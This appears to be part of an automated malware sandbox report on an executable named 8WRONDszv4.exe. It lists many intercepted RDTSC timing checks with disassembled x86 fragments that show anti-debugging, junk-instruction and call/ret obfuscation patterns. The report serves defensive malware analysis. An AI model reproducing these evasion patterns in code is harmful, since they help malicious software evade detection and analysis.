Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DE5D34 second address: DE5D38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DE5ED4 second address: DE5ED8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DE5ED8 second address: DE5EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DE618B second address: DE61A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1504DFF44Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DE62FC second address: DE631A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504B4201Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1504B4201Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DE631A second address: DE6337 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF453h 0x00000007 je 00007F1504DFF446h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DE6337 second address: DE6341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F1504B42016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DE6603 second address: DE660F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DE660F second address: DE661D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1504B42016h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DDA335 second address: DDA34E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1504DFF451h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DDA34E second address: DDA352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DE9DE1 second address: DE9DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF13F6 second address: DF1414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504B42023h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF1576 second address: DF157A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF157A second address: DF1580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF16E8 second address: DF16EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF16EC second address: DF16F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF19C3 second address: DF19F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 jmp 00007F1504DFF44Ch 0x0000000c pop esi 0x0000000d jmp 00007F1504DFF455h 0x00000012 popad 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007F1504DFF446h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF1CC0 second address: DF1D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1504B42023h 0x0000000a jnl 00007F1504B42027h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1504B42020h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF1D06 second address: DF1D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1504DFF446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF1D10 second address: DF1D16 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF5084 second address: DF50C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF452h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 178692ECh 0x00000010 call 00007F1504DFF449h 0x00000015 jns 00007F1504DFF44Eh 0x0000001b push eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f jne 00007F1504DFF446h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF50C2 second address: DF50C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF50C6 second address: DF50FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F1504DFF448h 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007F1504DFF456h 0x00000018 jc 00007F1504DFF446h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF56D1 second address: DF56D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF584C second address: DF585C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF585C second address: DF5861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF5D62 second address: DF5D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp], ebx 0x00000008 movzx esi, ax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF5D74 second address: DF5D78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF5D78 second address: DF5D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF5D7E second address: DF5D83 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF5F40 second address: DF5F57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF453h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF5F57 second address: DF5F69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1504B4201Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF67E8 second address: DF67EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF67EE second address: DF67FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F1504B42016h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF70FC second address: DF7100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF6FC7 second address: DF6FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF7100 second address: DF7104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF6FCC second address: DF6FDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jns 00007F1504B42016h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF8D22 second address: DF8D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF8AF4 second address: DF8AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF8AF8 second address: DF8AFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF9798 second address: DF97A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F1504B42016h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF97A5 second address: DF97A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DAED6B second address: DAED6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DFED5E second address: DFED62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DFED62 second address: DFEDB2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1504B42016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1504B42028h 0x0000000f jmp 00007F1504B4201Dh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F1504B4201Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F1504B4201Eh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DFEDB2 second address: DFEDB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DFC0C4 second address: DFC0CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F1504B42016h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DFEDB6 second address: DFEDC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1504DFF446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E03DE5 second address: E03DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jc 00007F1504B42016h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E03F62 second address: E03F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E04FF2 second address: E04FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E05DE0 second address: E05E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 nop 0x00000006 mov ebx, edx 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F1504DFF448h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 add dword ptr [ebp+122D2D64h], edi 0x0000002a mov edi, esi 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007F1504DFF448h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 00000015h 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 xchg eax, esi 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F1504DFF450h 0x00000050 pop edx 0x00000051 pop eax 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 pushad 0x00000057 popad 0x00000058 js 00007F1504DFF446h 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E04FF7 second address: E05009 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007F1504B42016h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0408A second address: E04090 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E05FBA second address: E05FC4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1504B42016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E06095 second address: E060AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E060AC second address: E060BE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1504B42016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E08EFB second address: E08F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504DFF44Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E060BE second address: E060C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E08F0B second address: E08F0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E060C3 second address: E060C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E08F0F second address: E08F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F1504DFF44Ah 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E08F22 second address: E08F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504B42022h 0x00000009 jns 00007F1504B42016h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DAD385 second address: DAD38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DAD38B second address: DAD395 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1504B42016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0953B second address: E0954B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1504DFF44Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0A61B second address: E0A628 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1504B42016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0A7E7 second address: E0A86E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ebx, dword ptr [ebp+122D2866h] 0x0000000f push dword ptr fs:[00000000h] 0x00000016 jns 00007F1504DFF44Ch 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 mov edi, esi 0x00000025 mov eax, dword ptr [ebp+122D087Dh] 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007F1504DFF448h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 00000014h 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 or bl, 00000038h 0x00000048 push FFFFFFFFh 0x0000004a push 00000000h 0x0000004c push edi 0x0000004d call 00007F1504DFF448h 0x00000052 pop edi 0x00000053 mov dword ptr [esp+04h], edi 0x00000057 add dword ptr [esp+04h], 00000014h 0x0000005f inc edi 0x00000060 push edi 0x00000061 ret 0x00000062 pop edi 0x00000063 ret 0x00000064 ja 00007F1504DFF44Ch 0x0000006a mov dword ptr [ebp+122D2D1Ch], edx 0x00000070 nop 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 pushad 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0B706 second address: E0B78E instructions: 0x00000000 rdtsc 0x00000002 je 00007F1504B42018h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F1504B42018h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 add edi, dword ptr [ebp+124557F5h] 0x0000002d push dword ptr fs:[00000000h] 0x00000034 and bh, FFFFFFF0h 0x00000037 mov bx, cx 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 pushad 0x00000042 mov eax, 5C743D6Fh 0x00000047 mov di, CEBBh 0x0000004b popad 0x0000004c mov eax, dword ptr [ebp+122D0559h] 0x00000052 add dword ptr [ebp+122D1937h], edx 0x00000058 push FFFFFFFFh 0x0000005a push eax 0x0000005b pushad 0x0000005c jmp 00007F1504B42029h 0x00000061 je 00007F1504B4201Ch 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0A86E second address: E0A874 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0D434 second address: E0D43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F1504B42016h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0A874 second address: E0A87A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0D43F second address: E0D449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1504B42016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0A87A second address: E0A87E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0FB43 second address: E0FB47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0FB47 second address: E0FB5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jnp 00007F1504DFF46Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F1504DFF446h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0FB5D second address: E0FBDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F1504B42018h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 jg 00007F1504B4201Eh 0x0000002a push 00000000h 0x0000002c sub dword ptr [ebp+122DB67Bh], edx 0x00000032 push 00000000h 0x00000034 mov di, bx 0x00000037 xchg eax, esi 0x00000038 jl 00007F1504B42024h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push edx 0x00000042 jmp 00007F1504B4201Fh 0x00000047 pop edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0FBDC second address: E0FBEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1504DFF44Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E11A6F second address: E11AE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F1504B42018h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov dword ptr [ebp+12455488h], ebx 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+1244C991h], ecx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F1504B42018h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e and di, 1404h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 jnp 00007F1504B42016h 0x0000005d push edi 0x0000005e pop edi 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0FCAC second address: E0FCCD instructions: 0x00000000 rdtsc 0x00000002 js 00007F1504DFF446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1504DFF450h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E10C32 second address: E10C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0FCCD second address: E0FCD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
